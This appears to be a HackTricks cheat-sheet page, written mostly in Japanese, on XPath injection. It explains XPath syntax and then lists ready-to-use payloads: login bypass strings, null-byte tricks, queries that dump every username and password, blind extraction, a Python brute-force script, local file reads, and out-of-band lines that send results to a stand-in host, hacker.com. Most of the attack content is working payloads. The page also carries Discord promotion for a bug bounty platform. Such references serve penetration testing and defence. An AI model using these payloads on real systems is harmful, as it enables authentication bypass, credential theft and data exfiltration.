XPATH injection

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Basic Syntax

XPath Injectionとして知られる攻撃手法は、ユーザー入力に基づいてXPath(XML Path Language)クエリを形成し、XMLドキュメントをクエリまたはナビゲートするアプリケーションを利用します。

Nodes Described

式はXMLドキュメント内のさまざまなノードを選択するために使用されます。これらの式とその説明は以下にまとめられています:

  • nodename: 名前が「nodename」のすべてのノードが選択されます。

  • /: ルートノードから選択が行われます。

  • //: 現在のノードからの選択に一致するノードが、ドキュメント内の位置に関係なく選択されます。

  • .: 現在のノードが選択されます。

  • ..: 現在のノードの親が選択されます。

  • @: 属性が選択されます。

XPath Examples

パス式とその結果の例は以下の通りです:

  • bookstore: 名前が「bookstore」のすべてのノードが選択されます。

  • /bookstore: ルート要素bookstoreが選択されます。スラッシュ(/)で始まるパスは要素への絶対パスを表します。

  • bookstore/book: bookstoreの子であるすべてのbook要素が選択されます。

  • //book: ドキュメント内のすべてのbook要素が選択されます。

  • bookstore//book: bookstore要素の子孫であるすべてのbook要素が選択されます。

  • //@lang: 名前がlangのすべての属性が選択されます。

Utilization of Predicates

選択を絞り込むために述語が使用されます:

  • /bookstore/book[1]: bookstore要素の最初のbook要素が選択されます。IEバージョン5から9の回避策として、最初のノードを[0]としてインデックス付けするために、SelectionLanguageをJavaScriptを通じてXPathに設定します。

  • /bookstore/book[last()]: bookstore要素の最後のbook要素が選択されます。

  • /bookstore/book[last()-1]: bookstore要素の最後から2番目のbook要素が選択されます。

  • /bookstore/book[position()<3]: bookstore要素の最初の2つのbook要素が選択されます。

  • //title[@lang]: lang属性を持つすべてのtitle要素が選択されます。

  • //title[@lang='en']: "lang"属性の値が"en"であるすべてのtitle要素が選択されます。

  • /bookstore/book[price>35.00]: 価格が35.00を超えるbookstoreのすべてのbook要素が選択されます。

  • /bookstore/book[price>35.00]/title: 価格が35.00を超えるbookstoreのbook要素のすべてのtitle要素が選択されます。

Handling of Unknown Nodes

ワイルドカードは未知のノードを一致させるために使用されます:

  • *: 任意の要素ノードに一致します。

  • @*: 任意の属性ノードに一致します。

  • node(): 任意の種類のノードに一致します。

さらなる例は以下の通りです:

  • /bookstore/*: bookstore要素のすべての子要素ノードが選択されます。

  • //*: ドキュメント内のすべての要素が選択されます。

  • //title[@*]: 1つ以上の任意の属性を持つすべてのtitle要素が選択されます。

Example

<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
<name>pepe</name>
<password>peponcio</password>
<account>admin</account>
</user>
<user>
<name>mark</name>
<password>m12345</password>
<account>regular</account>
</user>
<user>
<name>fino</name>
<password>fino2</password>
<account>regular</account>
</user>
</data>

情報にアクセスする

All names - [pepe, mark, fino]
name
//name
//name/node()
//name/child::node()
user/name
user//name
/user/name
//user/name

All values - [pepe, peponcio, admin, mark, ...]
//user/node()
//user/child::node()


Positions
//user[position()=1]/name #pepe
//user[last()-1]/name #mark
//user[position()=1]/child::node()[position()=2] #peponcio (password)

Functions
count(//user/node()) #3*3 = 9 (count all values)
string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"

スキーマの特定と盗難

and count(/*) = 1 #root
and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0

#The previous solutions are the representation of a schema like the following
#(at this stage we don't know the name of the tags, but jus the schema)
<root>
<a>
<b></b>
</a>
<c>
<d></d>
<e></e>
<f>
<h></h>
</f>
</c>
</root>

and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)

#Stealing the schema via OOB
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))

認証バイパス

クエリの例:

string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';

ユーザー名とパスワードのORバイパス(両方に同じ値)

' or '1'='1
" or "1"="1
' or ''='
" or ""="
string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())

Select account
Select the account using the username and use one of the previous values in the password field

ヌルインジェクションの悪用

Username: ' or 1]%00

ユーザー名またはパスワードのダブルOR(脆弱なフィールドが1つだけの場合に有効)

重要: 「and」が最初に行われる操作であることに注意してください。

Bypass with first match
(This requests are also valid without spaces)
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
string(//user[name/text()='' or true() or '' and password/text()='']/account/text())

Select account
'or string-length(name(.))<10 or' #Select account with length(name)<10
'or contains(name,'adm') or' #Select first account having "adm" in the name
'or contains(.,'adm') or' #Select first account having "adm" in the current value
'or position()=2 or' #Select 2º account
string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())

Select account (name known)
admin' or '
admin' or '1'='2
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())

文字列抽出

出力には文字列が含まれており、ユーザーは値を操作して検索できます:

/user/username[contains(., '+VALUE+')]
') or 1=1 or (' #Get all names
') or 1=1] | //user/password[('')=(' #Get all names and passwords
') or 2=1] | //user/node()[('')=(' #Get all values
')] | //./node()[('')=(' #Get all values
')] | //node()[('')=(' #Get all values
') or 1=1] | //user/password[('')=(' #Get all names and passwords
')] | //password%00 #All names and passwords (abusing null injection)
')]/../*[3][text()!=(' #All the passwords
')] | //user/*[1] | a[(' #The ID of all users
')] | //user/*[2] | a[(' #The name of all users
')] | //user/*[3] | a[(' #The password of all users
')] | //user/*[4] | a[(' #The account of all users

ブラインドエクスプロイテーション

値の長さを取得し、比較によって抽出する:

' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"

substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value

Pythonの例

import requests, string

flag = ""
l = 0
alphabet = string.ascii_letters + string.digits + "{}_()"
for i in range(30):
r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
if ("TRUE_COND" in r.text):
l = i
break
print("[+] Password length: " + str(l))
for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
for al in alphabet:
r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
if ("TRUE_COND" in r.text):
flag += al
print("[+] Flag: " + flag)
break

ファイルを読む

(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127

OOB 攻撃

doc(concat("http://hacker.com/oob/", RESULTS))
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

#Instead of doc() you can use the function doc-available
doc-available(concat("http://hacker.com/oob/", RESULTS))
#the doc available will respond true or false depending if the doc exists,
#user not(doc-available(...)) to invert the result if you need to

自動ツール

参考文献

経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、HackenProof Discordサーバーに参加しましょう!

ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう

リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていきましょう

最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう

今日、Discordに参加して、トップハッカーとコラボレーションを始めましょう!

HackTricksをサポートする

Last updated